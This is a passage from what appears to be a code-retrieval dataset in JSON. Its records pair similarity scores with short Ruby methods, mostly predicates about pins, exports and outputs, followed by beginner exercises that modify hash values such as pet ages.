end\n end", "title": "" }, { "docid": "4a2716450a2052a4155473693514293e", "score": "0.55779016", "text": "def virtual_pins?\n @virtual_pins\n end", "title": "" }, { "docid": "8890f31d36ea4680a7326a91ae72fd01", "score": "0.55636525", "text": "def exportable?\n true\n end", "title": "" }, { "docid": "5da6ffd8c3b0e4b810a4fdaaf7e3bc41", "score": "0.551985", "text": "def pinned?\n @pin\n end", "title": "" }, { "docid": "55b8a65eb733a34c3c2f9cf3e092b095", "score": "0.55150104", "text": "def input?\n !@mplab_pin.output?\n end", "title": "" }, { "docid": "0083cf9105f399a3182262114ea6ccf0", "score": "0.5434138", "text": "def exportable?\n true\n end", "title": "" }, { "docid": "9d72bf1444fd61470a5d840594278fa6", "score": "0.5363605", "text": "def pin_in_use?(pin)\n if equipment_profile.nil? || equipment_profile.equipments.nil? || equipment_profile.equipments.empty?\n false\n else\n unless pin.blank?\n equipment_profile.equipments\n .select{|e| e.id != id }\n .any? {|e| e.pins[:control_pin] == pin || e.pins[:power_pin] == pin || e.pins[:data_pin] == pin}\n end\n end\n end", "title": "" }, { "docid": "501b3c3a48615aadae3da1b2ceecdb9b", "score": "0.53255093", "text": "def output_on(input_statuses)\n\t\tinput_statuses.each_with_index do |input_on, i|\n\t\t\tactual_input = inputs[i]\n\t\t\tif actual_input.sufficient && input_on\n\t\t\t\treturn true\n\t\t\telsif actual_input.necessary && !input_on\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn input_statuses.count{|i| i == true} >= 2\n\tend", "title": "" }, { "docid": "21de399281b50fa416580fa69a171b45", "score": "0.5214932", "text": "def export_all\n @exported_fields = nil\n end", "title": "" }, { "docid": "6582785c4120a6bc723352fa089ffdf9", "score": "0.5213409", "text": "def done_preprocessing?(save = false)\n !each_dataset.any? do |d|\n d.ref? && d.active? && !d.done_preprocessing?(save)\n end\n end", "title": "" }, { "docid": "0b4afcbd6153f432f737c1a0dd2469cc", "score": "0.5205925", "text": "def qualified_for_output_generation? \r\n !batch_bundle.detect { |batch| batch.incomplete? }\r\n end", "title": "" }, { "docid": "b951e4cc899e5c9b0238c4c619b69b34", "score": "0.52017725", "text": "def any_mines_detonated?\n flag = false\n @grid.each do |row|\n flag = true if row.any? { |cell | cell.uncovered == true && !cell.fill.nil? }\n end\n flag\n end", "title": "" }, { "docid": "89a21e1df81612360148f3e016863ab7", "score": "0.5112883", "text": "def payment_provider_is_pin_payments?\n self.payment_method == 'pin_payments' && (!self.pin_api_key.blank? && !self.pin_api_secret.blank?)\n end", "title": "" }, { "docid": "f3d126a90de5c64c3e45c3fde2642b0b", "score": "0.51108754", "text": "def export_none\n @exported_fields = Set.new\n end", "title": "" }, { "docid": "e3c8afde65ddc4afe782d826c96e57c9", "score": "0.50883657", "text": "def pre_export\n end", "title": "" }, { "docid": "b394f5afbbf5b1cbf6ea5fbf4aba4162", "score": "0.5076428", "text": "def processings?\n @processings.any?\n end", "title": "" }, { "docid": "20905ba67f52bbbdf6bb3e9abf106c8e", "score": "0.5068381", "text": "def multi_arged?\n false\n end", "title": "" }, { "docid": "8a0ab87fcca45945b3b1ad99b06f283b", "score": "0.5066898", "text": "def check_nesstar_only keys\n nesstar = true\n keys.each do |key| \n if !Dataset.find(key).nesstar_uri\n nesstar = false\n break\n end\n end\n nesstar ? @archive.update_attributes({:nesstar_only => true}) : @archive.update_attributes({:nesstar_only => false})\n end", "title": "" }, { "docid": "7860e8796ded8c368aac42856c74be33", "score": "0.50377095", "text": "def all_bundled?\n remaining_flowers.zero?\n end", "title": "" }, { "docid": "11c0752b57eccdd6d300d5d8e620a7c7", "score": "0.50329", "text": "def driving_high?\n output? && @mplab_pin.high?\n end", "title": "" }, { "docid": "d87aeaeccfc959ff82d846cd73ac26a5", "score": "0.5032671", "text": "def skip_pin?\n skip = false\n if @skip_flag == true\n @skip_flag = false\n skip = true\n end\n skip\n end", "title": "" }, { "docid": "99c522000246ac63b00a4950b6d30439", "score": "0.50098455", "text": "def all_pins(cg, user_wants)\n length, max = [cg.pin_length, cg.total_pins_available]\n # Get pins from db\n pins_in_db = Card.select('pin').where(\"LENGTH(pin) = #{length}\").map(&:pin)\n # Count available pins\n available_pin_number = max - pins_in_db.size\n if available_pin_number < user_wants\n # If user wants more - message about available amount\n flash[:notice] = _('Bad_number_interval_no_pin_left') + ': ' + available_pin_number.to_s + ' ' + _('cards')\n return false\n else\n # Generate pin list, no match\n pins = []\n random_num = (max/0.2).to_i\n until pins.size == user_wants\n begin\n pin = sprintf(\"%0#{length}d\", rand(random_num))\n end while pins_in_db.include?(pin) || pins.include?(pin)\n pins << pin\n end\n pins\n end\n end", "title": "" }, { "docid": "7252b78abf4a9c770fe4c76206f16f5d", "score": "0.4974532", "text": "def has_analysis_outputs?(analysis_name, visualization_name=nil, cluster_name=nil, annotation_name=nil)\n self.get_analysis_outputs(analysis_name, visualization_name, cluster_name, annotation_name).any?\n end", "title": "" }, { "docid": "f803098aeba3ebe969b8d3a0b39e11b1", "score": "0.49718255", "text": "def dirty?\n\t\t\t\tif @outputs\n\t\t\t\t\t@outputs.dirty?(@inputs)\n\t\t\t\telse\n\t\t\t\t\ttrue\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "7d47a8ff1552cb4e680c0933a00d9f44", "score": "0.49636972", "text": "def validate_import_mappings\n import_field_mappings.each do |field|\n if REQUIRED_FIELDS.include?(field.key) && field.value.all?(&:blank?)\n self.not_ready!\n return false\n end\n end\n self.ready!\n return true\n end", "title": "" }, { "docid": "4dce9fee042afa5a1a1f16ecf8f45678", "score": "0.49595118", "text": "def done?\n beam.empty?\n end", "title": "" }, { "docid": "3f3c71e599097c6ea7fe179888b2fc9d", "score": "0.49480385", "text": "def export_pin(pin)\n\n # Validate the pin\n pin_ = ValidatePin.new pin\n return pin_.error_message unless pin_.valid?\n\n # Export the value after translating to gpio\n export_gpio pin_.to_gpio\n end", "title": "" }, { "docid": "b6918b494739184eb3726da5f3d523e7", "score": "0.49393523", "text": "def input_finished?\n @output_buffer.empty? && internal_input_finished?\n end", "title": "" }, { "docid": "bd825b90c3a90ea55c474d55c1819de6", "score": "0.49360675", "text": "def open_assets_transaction?\n self.outputs.any? {|txout| txout.script.open_assets_marker? }\n end", "title": "" }, { "docid": "7b03a4d9c4688018f452bf738e43bcb0", "score": "0.49340954", "text": "def input_finished?\n @outputBuffer.empty? && internal_input_finished?\n end", "title": "" }, { "docid": "377992e1c481f9222d7bece2d07873c2", "score": "0.49208763", "text": "def pin_required?\n\t\tnot command(\"AT+CPIN?\").include?(\"+CPIN: READY\")\n\tend", "title": "" }, { "docid": "e099c9aaded717e44b4b370eaf6d8c6b", "score": "0.49168757", "text": "def output_pins(nums)\n ar = Array(nums)\n ar.each {|n| output_pin(n)} \n end", "title": "" }, { "docid": "714b8d71a42056c8f7068edcca84061b", "score": "0.49142593", "text": "def handle_settings(marc_args)\n export = true\n tag = 'tag_' + marc_args[0]\n if ( MarcExportSettings.m_export_settings.include? tag)\n if (!MarcExportSettings.m_export_settings[tag])\n export = false\n end\n end\n return export;\n end", "title": "" }, { "docid": "a4ad7e2e400c3a4b5592f13a1cad2038", "score": "0.49070993", "text": "def internal_or_core?(pin); end", "title": "" }, { "docid": "ba2cbc17c4571ee9f7d98735b9cef1c2", "score": "0.48826137", "text": "def output?\n !@output.empty?\n end", "title": "" }, { "docid": "e7ecfd30a97e6d4d3700b4dcf59dde45", "score": "0.48795953", "text": "def complete_flag_values?\n @complete_flag_values\n end", "title": "" }, { "docid": "3256f1675c186c9093d3b4f35ff49f51", "score": "0.48772642", "text": "def driving_low?\n output? && !@mplab_pin.high?\n end", "title": "" }, { "docid": "b629daaf5e8206c1a95de6a5f6d35412", "score": "0.48748177", "text": "def has_results?\n !(name == 'aggregate' &&\n pipeline.find {|op| op.keys.include?('$out') })\n end", "title": "" }, { "docid": "c7f0207a248a31579d3e5b0683824caf", "score": "0.48679674", "text": "def has_pin?(id)\n !!Origen.pin_bank.find(id)\n end", "title": "" }, { "docid": "0166c2ab459120d17afe0792fac0976d", "score": "0.48614433", "text": "def complete?\n place.present? && report.present?\n end", "title": "" }, { "docid": "e70d6f6bcddf812f4967a7816f81f352", "score": "0.48585674", "text": "def eligible_for_supplimental_output?\r\n [BatchStatus::OUTPUT_READY, BatchStatus::OUTPUT_GENERATED, BatchStatus::OUTPUT_EXCEPTION].include?(status)\r\n end", "title": "" }, { "docid": "66bfab22217205ad3744e84d8fc0137e", "score": "0.4858165", "text": "def importable?\n false\n end", "title": "" }, { "docid": "9605acb217cac71f2143b2f30c2af614", "score": "0.48545876", "text": "def package_delivered\n self.status = CONSTANT['BOX_DELIVERED']\n self.package.status = CONSTANT['PACKAGE_DELIVERED_DELIVERY']\n if self.package.save\n if self.save\n pin = self.access.generate_pin\n if pin\n self.package.user.send_pick_up_pin pin #TODO\n return true\n end\n end\n end\n return false\n end", "title": "" }, { "docid": "864b69fae803cd33a58d40ddd706ebd6", "score": "0.48543364", "text": "def raster_file?\n false\n end", "title": "" }, { "docid": "8507a3ebc30ca5d7feb152b5b14dbb9a", "score": "0.4852838", "text": "def raster_work?\n false\n end", "title": "" }, { "docid": "7ecd66b7822ef507bd15593f4dbd1a53", "score": "0.48398522", "text": "def animation_done?\n @bands.all?(&:done?) && @credit_display.done? && @payout_display.done?\n end", "title": "" }, { "docid": "3a6acc47871b87e037986f141a5308df", "score": "0.48308986", "text": "def should_convert?\n !dumped_ids.include?(abstract_object.object_id)\n end", "title": "" }, { "docid": "a57873c34879cdbb35e5154179fc9b58", "score": "0.48296458", "text": "def done?\n get_ingest_run.done?\n end", "title": "" }, { "docid": "99aca9257c9f8f50575a669767236c05", "score": "0.4829444", "text": "def final?\n @finals.include? @state\n end", "title": "" }, { "docid": "8abc4de5e25e3cd3e31392e636172efd", "score": "0.48287028", "text": "def setup_done?\n Pillar.exists? pillar: Pillar.all_pillars[:apiserver]\n end", "title": "" }, { "docid": "389aba9b477db0b7d0a2d65c513e966e", "score": "0.48271182", "text": "def imported_population?\n return self.patient_population.nil?\n end", "title": "" }, { "docid": "23aec5bb38c5ea0b0be987257a35f81a", "score": "0.4826071", "text": "def is_processed?\n self.asset_clone_id.present? && self.asset_clone.present? ? self.asset_clone.processed : self.processed\n end", "title": "" }, { "docid": "8a0a29af37e6bd567e1b06b3cacac2dc", "score": "0.48246434", "text": "def update_board\n if !sets_available?\n add_three_cards\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "d4ff7103dbe643808e1974e410741352", "score": "0.4821005", "text": "def published?\n self.targets.map { |tgt| File.exist?(File.join(\n self.publish_path, self.to_s, tgt)) }.all?\n end", "title": "" }, { "docid": "558ae371637fb2ce53bfb9e0ff62b615", "score": "0.4820993", "text": "def expanding?\n (from_aleph? || expanded_holdings.any?)\n end", "title": "" }, { "docid": "73dbdf3b3373931a234d38f313978319", "score": "0.48197156", "text": "def has_remote_package_sets?\n each_remote_package_set.any? { true }\n end", "title": "" }, { "docid": "0a3ca409e01705cc9d288b52994bd92d", "score": "0.48193756", "text": "def ready?\n inslots.values.all?{|inslot| queues[inslot.name].length > 0 }\n end", "title": "" }, { "docid": "949893967d53a8d4af160da772271e4a", "score": "0.481761", "text": "def export_to_isic\n return if self.isic_exported\n IsicExport.new.submit(self.member, self)\n end", "title": "" }, { "docid": "b37e7f798b308fdb88c08e14ef365239", "score": "0.4812884", "text": "def collect_nil_output?\n collect_output? ? (collect_nil_output == true) : false\n end", "title": "" }, { "docid": "003e196af284159f60e0c8293be7a019", "score": "0.48097962", "text": "def can_set_appt?\n has_pixan? && !is_completed?\n end", "title": "" }, { "docid": "c21705ca0404daa695ecc1cf7546e42d", "score": "0.479628", "text": "def re_export?\n return false if instrument.surveys.blank?\n # return true if csv_blank?\n instrument.responses.maximum('updated_at') > updated_at\n end", "title": "" }, { "docid": "8f0c8378940f6df3dcf2f5036a8cd2d5", "score": "0.47935522", "text": "def mapsUnique?()\n return false unless passed_filter?\n return false if unmapped_Ns? || unmapped?\n if @chrom =~ /^\\d+:\\d+:\\d+$/\n false\n else\n true\n end\n end", "title": "" }, { "docid": "1e1e10ef1f6e2e1fe7623f171508d8e8", "score": "0.47917423", "text": "def check_all_flag\n if all\n self.manage = true\n self.forecasting = true\n self.read = true\n self.api = true\n end\n self\n end", "title": "" }, { "docid": "2ca5501fae36e542c6fbfe001c50be2d", "score": "0.47910023", "text": "def correct_flags?\n flags = 0\n @grid.each do |row|\n row.each do |tile|\n flags+=1 if tile.flagged && tile.bombed\n end\n end\n flags == @num_bombs\n end", "title": "" }, { "docid": "071a82da38030361139a8db358516a9f", "score": "0.478865", "text": "def package_ingest_complete?(dir, file_names)\n return true if File.exist?(File.join(dir, file_names.first)) && File.exist?(File.join(dir, file_names.last))\n\n logger.error(\"Package ingest not complete for #{file_names.first} and #{file_names.last}\")\n false\n end", "title": "" }, { "docid": "9be503131961b4c53cb3328a4412c2c5", "score": "0.4784601", "text": "def journal?\n copies.any?(&:journal?)\n end", "title": "" }, { "docid": "a5291a63c8547f347cb735539c553461", "score": "0.4776388", "text": "def check_output_files\n return if @output_files.nil?\n\n flag = true\n @output_files.uniq.each do |file_path|\n unless File.exist?(file_path)\n warn \"Output file not found: #{file_path}\"\n flag = false\n end\n end\n puts 'All output file exist.' if flag\n end", "title": "" }, { "docid": "96d6002370da0b3f44c66299f8a430b1", "score": "0.47760358", "text": "def done?\n !@output_id.nil?\n end", "title": "" }, { "docid": "d6b9e26d8ebfcfffad97a17c4e9a4a94", "score": "0.477571", "text": "def postprocess(readers, writers)\n true\n end", "title": "" }, { "docid": "238f9ca811afe5dfab8206df17865e19", "score": "0.47734097", "text": "def suitable_for_any?\n \treturn self.disciplines.count > 0\n end", "title": "" }, { "docid": "2a109f7b0816a931972d7240acc23c56", "score": "0.4770105", "text": "def pending?\n !File.exist?(full_output_file)\n end", "title": "" }, { "docid": "87ec37a2e64e70a139d10c8937dc74f4", "score": "0.47689298", "text": "def update_any_data?\n add_name? || add_events? || set_wheel_sizes? || add_volunteers? || add_contact_details? || lodging? || expenses? || set_organization_membership?\n end", "title": "" }, { "docid": "09e73521cbf05fd12493f36a64e9dcb8", "score": "0.47665298", "text": "def enabled_all?; end", "title": "" }, { "docid": "324f2ecd0dade400cb1e758cf056a50f", "score": "0.47661462", "text": "def qualified_for_supplimental_output_generation?\r\n !batch_bundle_for_supplemental_output.detect { |batch| !batch.eligible_for_supplimental_output? }\r\n end", "title": "" }, { "docid": "87ad32a3d920d99b8e603c9752ea441e", "score": "0.47621426", "text": "def pinned?(ctx)\n source.pinned?(ctx)\n end", "title": "" }, { "docid": "3fc93a822278135670d4ddf865673f40", "score": "0.4761127", "text": "def all_outpoints_are_available(spending_tx_hash, outpoints, memory_pool=nil)\n # See if we can answer this without any DB queries.\n quick_result = @output_cache.all_outpoints_are_unspent(outpoints)\n if quick_result\n # The below is noisy even for debug.\n #logger.debug{ \"All outputs are available\" }\n return true\n end\n\n # Not very efficient for now.\n # Hopefully, when we plug an in-memory UTXO cache in front of this it won't matter.\n outpoints.each do |txhash, i|\n # Check the cache.\n cached_result = @output_cache.outpoint_is_spent(txhash, i)\n if cached_result == true\n logger.debug{ \"Output is already spent according to cached value.\" }\n return false\n end\n\n # Already checked it.\n next if cached_result == false\n\n # Cache miss, check the current block or DB\n hash = Toshi::Utils.bin_to_hex_hash(txhash)\n\n # Spent in current block?\n if txout_spent_in_current_block(hash, i) == true\n logger.debug{ \"Output is already spent inside the current block\" }\n return false\n end\n\n # Are the spender and output in the current block and does it try to spend a future output?\n if tx_in_current_block(spending_tx_hash) && txout_in_current_block(hash, i)\n spending_tx_position = tx_position_in_current_block(spending_tx_hash)\n outpoint_tx_position = tx_position_in_current_block(hash)\n if spending_tx_position <= outpoint_tx_position\n logger.debug{ \"Output is in the future\" }\n return false\n end\n end\n\n # Does it exist outside of the current block?\n output = self.output_from_model_cache(txhash, i)\n if !output\n if !memory_pool\n logger.debug{ \"Output doesn't exist\" }\n return false\n else\n # check the memory pool too\n if !memory_pool.is_output_available?(hash, i)\n logger.debug{ \"Output is not available in memory pool nor UTXO set\" }\n return false\n end\n end\n next\n end\n\n # Is it spendable?\n if !output.is_spendable? && (!memory_pool || !memory_pool.is_output_available?(hash, i))\n logger.debug{ \"Output isn't spendable\" }\n return false\n end\n end\n\n # All outpoints exist and are spendable.\n true\n end", "title": "" }, { "docid": "d162bf4f8a7aec4fcbb4d0fa85dce478", "score": "0.47606108", "text": "def passed?\n @impacts.empty?\n end", "title": "" }, { "docid": "2dd9ef128b880cff5424e0d02fe6cb93", "score": "0.47580466", "text": "def any_mines_detonated?\n @field.flatten.each do |cell|\n if cell.mine == true && cell.revealed?\n return true\n end\n end\n return false\n end", "title": "" }, { "docid": "453f8c4feadec5f9890b53241eaf23fc", "score": "0.47580445", "text": "def archers_ready(archers)\n archers.empty? ? false : archers.all?{ |x| x >= 5 }\nend", "title": "" }, { "docid": "f41f3be85fb69ce33bf4916a55ffbf48", "score": "0.47558162", "text": "def geocoded?\n read_coordinates.compact.size > 0\n end", "title": "" }, { "docid": "8429aafda6aae7d66cb406b43afa1a6f", "score": "0.4753142", "text": "def contains_pin?(photo_id)\n # pin = Pin.find(pin_id)\n !self.pins.where(photo_id: photo_id).blank?\n end", "title": "" }, { "docid": "94cd1b770c8ebad826acc1448293ea5e", "score": "0.47504503", "text": "def persists_state_via_data_import?\n false\n end", "title": "" }, { "docid": "aa68c0c0ae15355ee793c34efcbb3332", "score": "0.4745365", "text": "def any_copies_available?\n @copies.each do |copy|\n return true if copy.status == 'Available'\n end\n false\n end", "title": "" }, { "docid": "10050e46de2a4c0e62c5d01f6bf47e8f", "score": "0.47434697", "text": "def contains_output?(output)\n @ddl[:output].keys.include?(output)\n end", "title": "" }, { "docid": "add1141864acdb98804a3c753e405395", "score": "0.47425592", "text": "def all_cells_cleared?\n flag = true\n @grid.each do |row|\n flag = false if row.any? { |cell| cell.uncovered == false && cell.fill.nil? }\n end\n flag\n end", "title": "" }, { "docid": "69fe345a8f9ef92f2cfbc86af366b3ab", "score": "0.47418872", "text": "def unmapped?\n type == :src || type == :dst\n end", "title": "" }, { "docid": "9c73f7234ab16ecd1ae6b30e842cc426", "score": "0.4740852", "text": "def should_appear_on_map?\n data['visibility'] == 'PUBLIC' && timeslots.any?\n end", "title": "" }, { "docid": "0263ce6daadf15418c90c501fb68a1a4", "score": "0.4739614", "text": "def gcmap_include_highlighted_airport_names?\n return false\n end", "title": "" }, { "docid": "871c344b8807cba3691253cbc5cb23fb", "score": "0.4739406", "text": "def locate_pins(params); end", "title": "" }, { "docid": "47bd26c695ef661bb824d2a0a6e05666", "score": "0.47375527", "text": "def write?\n !!metadata.fetch(\"output\", false)\n end", "title": "" }, { "docid": "1c7ef48c7e9675cc3a7d9121fc940ad7", "score": "0.47343105", "text": "def isZippedOutput()\n @fields.fetch('image_mode', '') == 'separate' || @fields.fetch('css_mode', '') == 'separate' || @fields.fetch('font_mode', '') == 'separate' || @fields.fetch('force_zip', false) == true\n end", "title": "" }, { "docid": "492b7045b9d3175289b1dcc0d488b41d", "score": "0.47294393", "text": "def all?\n @options[:all].present?\n end", "title": "" }, { "docid": "7243f47119e38f4dfcf0a3faf17e660d", "score": "0.47207436", "text": "def export(*names)\n @exported_fields ||= Set.new\n @exported_fields.merge names.map(&:to_s).to_set\n end", "title": "" }, { "docid": "5d6c1fc8eb4915233c9280d6391f4d67", "score": "0.47179505", "text": "def export?\n matches_command_type?(EXPORT_COMMAND) && has_expression?\n end", "title": "" } ]
6ebc67c6e54ecce9dc57ba7ce29a9371
Pseudocode input: hash, updated age output: original hash modified Steps: Go through each value in Hash and add user given number. Initial Solution source.each do |k, v| source[k] = v + thing_to_modify end end
[ { "docid": "92fd034e60dfddb768b5dd98f55e3af6", "score": "0.67982394", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.each {|k, v| source[k] = v + thing_to_modify}\nend", "title": "" } ]
[ { "docid": "9c36f23d5bcb641c300b133b2129c7da", "score": "0.74984753", "text": "def my_hash_modification_method!(hash, years_passed)\n hash.each_pair do |petname, age|\n age += years_passed\n hash[petname] = age\n end\n p hash\n return hash\nend", "title": "" }, { "docid": "fbbe17c315abf5e9daa3715d758051ee", "score": "0.7478721", "text": "def my_hash_modification_method(my_family_pets_ages, years_gone_by)\n\tmy_family_pets_ages.each { |pets, ages| my_family_pets_ages[pets] = v + years_gone_by }\nend", "title": "" }, { "docid": "1bb60252eaad8375cf70e08af7b5e060", "score": "0.7417352", "text": "def my_hash_modification_method(my_family_pets_ages, years_gone_by)\n\tmy_family_pets_ages.each { |pets, ages| my_family_pets_ages[pets] = ages + years_gone_by }\nend", "title": "" }, { "docid": "c5b989729757ac503f724e0105d2944e", "score": "0.7350384", "text": "def my_hash_modification_method!(source, thing_to_modify)\n\n source.each do |pet,age|\n source[pet] = age + thing_to_modify\n end\n return source\nend", "title": "" }, { "docid": "7245dc63966e056446df8f57371563a5", "score": "0.73357004", "text": "def my_hash_modification_method!(source, years_to_add)\n source.each do |name, old_age|\n source[name] = old_age + years_to_add\n end\n return source\nend", "title": "" }, { "docid": "7245dc63966e056446df8f57371563a5", "score": "0.73357004", "text": "def my_hash_modification_method!(source, years_to_add)\n source.each do |name, old_age|\n source[name] = old_age + years_to_add\n end\n return source\nend", "title": "" }, { "docid": "fabd558b1b5695250f314e5fdcc7d74c", "score": "0.7253357", "text": "def my_hash_modification_method!(hash, years)\n hash.each {|pet, age| hash[pet] = age + years}\nend", "title": "" }, { "docid": "f1e2dd81079a2f17f1f3934cfd34499c", "score": "0.72282803", "text": "def add_years(hash)\n hash.each { |key, value|\n hash[key] = value + 3 #Access the given hash key to edit its value\n }\nend", "title": "" }, { "docid": "b38f5fa0d03e830be42fc0733d6dafaa", "score": "0.7006465", "text": "def my_hash_modification_method!(source, thing_to_modify)\n modded_hash = source.update(source){|k, v| v + thing_to_modify}\n p modded_hash\nend", "title": "" }, { "docid": "9d51f1a032d170fc458345d88753ae60", "score": "0.69511545", "text": "def my_hash_modification_method!(source, thing_to_modify)\n# source = Hash[source.map {|k,v| [k, thing_to_modify + v ]}]\n source.each do |key, value|\n source[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "f60f902f71b98786b547716352d98e6c", "score": "0.6922144", "text": "def my_hash_modification_method!(my_family_pets_ages, thing_to_modify)\n my_family_pets_ages.each do |key, value|\n my_family_pets_ages[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "2e145bfc0eb9f7f62b7715d6c2fe5022", "score": "0.6902389", "text": "def extinction_adjustment(hash)\n hash.each do |k,v| \n hash[k] = v-3\n end\n p hash\nend", "title": "" }, { "docid": "aaf8a0308e30c3917715b0c37ae6ea53", "score": "0.689152", "text": "def my_hash_modification_method!(source, thing_to_modify)\n\n source.each_pair { |key, value| source[key] = value + thing_to_modify}\n\n return source\n\nend", "title": "" }, { "docid": "096c6548c41005f8a649e3e360c79bce", "score": "0.68607366", "text": "def my_hash_modification_method!(my_family_pets_ages, n)\n my_family_pets_ages.each {|key, value| my_family_pets_ages[key] = value + n}\nend", "title": "" }, { "docid": "096c6548c41005f8a649e3e360c79bce", "score": "0.68607366", "text": "def my_hash_modification_method!(my_family_pets_ages, n)\n my_family_pets_ages.each {|key, value| my_family_pets_ages[key] = value + n}\nend", "title": "" }, { "docid": "440355e97774c8f5645051b2f08e7447", "score": "0.68036383", "text": "def my_hash_modification_method(source, thing_to_modify)\n source.map do |x, y|\n source[x] = y + thing_to_modify\n end\n source\nend", "title": "" }, { "docid": "5d4ddbac3e5536b8d4bb99564dfabf90", "score": "0.6777241", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.map do |k, v|\n source[k] = v += thing_to_modify\n end\n return source\nend", "title": "" }, { "docid": "5822f33b602afe9b77ae52d4cd327255", "score": "0.6749447", "text": "def my_hash_modification_method!(source, thing_to_modify)\n source.each do |key, value|\n source[key] = value + thing_to_modify\n end\nend", "title": "" }, { "docid": "847bc6a897d6f65ba7b677fad482adaa", "score": "0.6624043", "text": "def update_extinction_years(hash)\n new_hash = {}\n hash.each do |animal, year|\n #year = year - 3\n new_hash[animal] = year - 3\n end\n return new_hash\nend", "title": "" }, { "docid": "df0c8bc812a1d25aff5974fbd38e6e47", "score": "0.6457359", "text": "def student_increase(hash)\n\thash.each{ |key, value| hash[key] = (value * 1.05).to_i }\nend", "title": "" }, { "docid": "cb0574fbaa0a4baac4aa556e5002d4de", "score": "0.6382991", "text": "def increase_cohort(students)\n students.each do |key, value|\n #This modified the original hash\n students[key] = (value * 1.05)\n #this print out values, but does modify the original hash\n #puts \"#{key}: #{value * 1.05} students\"\n end\nend", "title": "" }, { "docid": "4b3554dffa3de24893d26ae49483875c", "score": "0.63829005", "text": "def change_date(hash)\nhash.each do |key, value|\n hash[key] = value - 3\n end\np hash\nend", "title": "" }, { "docid": "75f9b69cd992449add7a34179c4a9637", "score": "0.63815266", "text": "def updateAnimal(hash)\n hash.each{|key,value|\n hash[key] = value - 3\n }\n return hash\nend", "title": "" }, { "docid": "4ae9c87a0bde2592e6ec9fd19454ae08", "score": "0.62915164", "text": "def update(hash); end", "title": "" }, { "docid": "1d82fb6f531f16f16e95e9617d961184", "score": "0.6276609", "text": "def mess_with_demographics2(demo_hash)\n joke = demo_hash.merge\n joke.values.each do |family_member|\n family_member[\"age\"] += 42\n family_member[\"gender\"] = \"other\"\n end\n joke\nend", "title": "" }, { "docid": "8162fff001b3f76e5f8548dc3e444ffc", "score": "0.62749135", "text": "def update_counting_hash(hash, key)\nhash[key]\n#if hash[:hello]\nif hash[key]\n hash[key]+=1\nelse\nhash[key] = 1\n# person[:hometown] = \"Brooklyn, NY\"\nend\nhash\nend", "title": "" }, { "docid": "5ad3db510131cc013007eafabea7d3db", "score": "0.62701833", "text": "def get_double_age(hash)\n hash['age'] *= 2\nend", "title": "" }, { "docid": "df7026b9f884d3e1c9273d6b5fe616c5", "score": "0.62596977", "text": "def size_change(hash_to_be_changed, size_input)\n hash_to_be_changed.each do |cohort, value|\n hash_to_be_changed[cohort] = (value * size_input).to_i\n end\nend", "title": "" }, { "docid": "34dde6ac17bf3acb51f86c7251e850e4", "score": "0.62499654", "text": "def fix_year(hash, n)\n puts hash.each {|animal, year| hash[animal] = year.to_i + n}\nend", "title": "" }, { "docid": "9564d9182f8dcfe821106dbb8a9cabbb", "score": "0.6218404", "text": "def my_array_modification_method(source, thing_to_modify)\n source.each do |x|\n if x.is_a? Integer\n source.each do |x,y|\n numb = source.index(x)\n source[numb] += thing_to_modify\n end\n end\n return source\nend\n\ndef my_hash_modification_method(source, thing_to_modify) \n if y.is_a? Integer\n numb= source.index(y)\n source[numb]+=thing_to_modify\n end\n end\n return source\nend", "title": "" }, { "docid": "a6549d68c0dcd97e647a0e41ed34792a", "score": "0.620132", "text": "def update(other_hash, &blk); end", "title": "" }, { "docid": "719099219aad18d038e1dc53654b3c2d", "score": "0.6105648", "text": "def increase_by_five_percent(hash)\n hash.each do |k, v|\n hash[k] = v + (v * 0.05).to_i\n end\nend", "title": "" }, { "docid": "7ae024a792b9ced3d4a22aa9c5ea25e1", "score": "0.60973245", "text": "def update(hash)\r\n puts \"Which key needs updating? Enter 'none' if all are correct.\"\r\n key = gets.chomp\r\n\r\n if key != \"none\"\r\n if key == \"age\" || key == \"children\" || key == \"budget\"\r\n puts \"What is the correct value for key #{key}?\"\r\n hash[key.to_sym] = gets.chomp.to_i\r\n elsif key == \"approval\" || key == \"hgtv\"\r\n repeat(hash, key, \"What is the correct value for key #{key}?\")\r\n else\r\n puts \"What is the correct value for key #{key}?\"\r\n hash[key.to_sym] = gets.chomp\r\n end\r\n end\r\n return hash\r\nend", "title": "" }, { "docid": "84fbaad523b5e40654957ed2b45c19e8", "score": "0.60926926", "text": "def extinct_correction(hsh1)\n updated_hsh = {}\n hsh1.each do |k, v|\n updated_hsh[k] = v-3\n end\n updated_hsh\nend", "title": "" }, { "docid": "be6c73ffef8ab34511785c2c2c1f2d57", "score": "0.60224104", "text": "def get_double_age(hash)\n return hash[\"age\"] *= 2\nend", "title": "" }, { "docid": "af0d48f14fc8f9c185df7a86bf308875", "score": "0.5884371", "text": "def mess_with_demographics!(m_hash)\n m_hash.values.each do |family_member|\n family_member[\"age\"] += 42 # Almost always, Hash []= mutates the caller!\n family_member[\"gender\"] = \"other\" # Almost always, Hash []= mutates the caller!\n end\nend", "title": "" }, { "docid": "4c3a1f057350424a77e22dc68c2b2d5c", "score": "0.5867867", "text": "def deep_update(other_hash, &blk); end", "title": "" }, { "docid": "c4400fb6a0f60f2a0e46c29338f1c725", "score": "0.5848955", "text": "def item_adder(hash, item, quantity = 1)\n #hash[item] = hash[item].to_i + quantity\n x = hash[item].to_i + quantity\n hash.merge!(item => x)\nend", "title": "" }, { "docid": "8b80449df5274a11488af1108da1190d", "score": "0.5823024", "text": "def update_item(initial_hash, updated_item, new_amount)\n initial_hash[updated_item] = new_amount\n return initial_hash\nend", "title": "" }, { "docid": "50dd756707109d3c3bd8a2d7a19a998d", "score": "0.58221936", "text": "def quantity_update(list_hash, grocery_item, ajusted_qty)\n\n# steps: replace value for passed-in key\n# output: updated hash with new information\n\tlist_hash.each{|item,qty| list_hash[grocery_item] = ajusted_qty}\n\nend", "title": "" }, { "docid": "4b9fa3e301cb1c58b7803ec91add5398", "score": "0.5821167", "text": "def update_item(initial_hash, updated_item, new_amount)\r\n initial_hash[updated_item] = new_amount\r\n return initial_hash\r\nend", "title": "" }, { "docid": "11b97d38a6d46d430f93030a40b50ed9", "score": "0.58037305", "text": "def update_counting_hash(hash, key)\n if hash[key] #if hash.key?(key)\n hash[key]+=1# if the provided 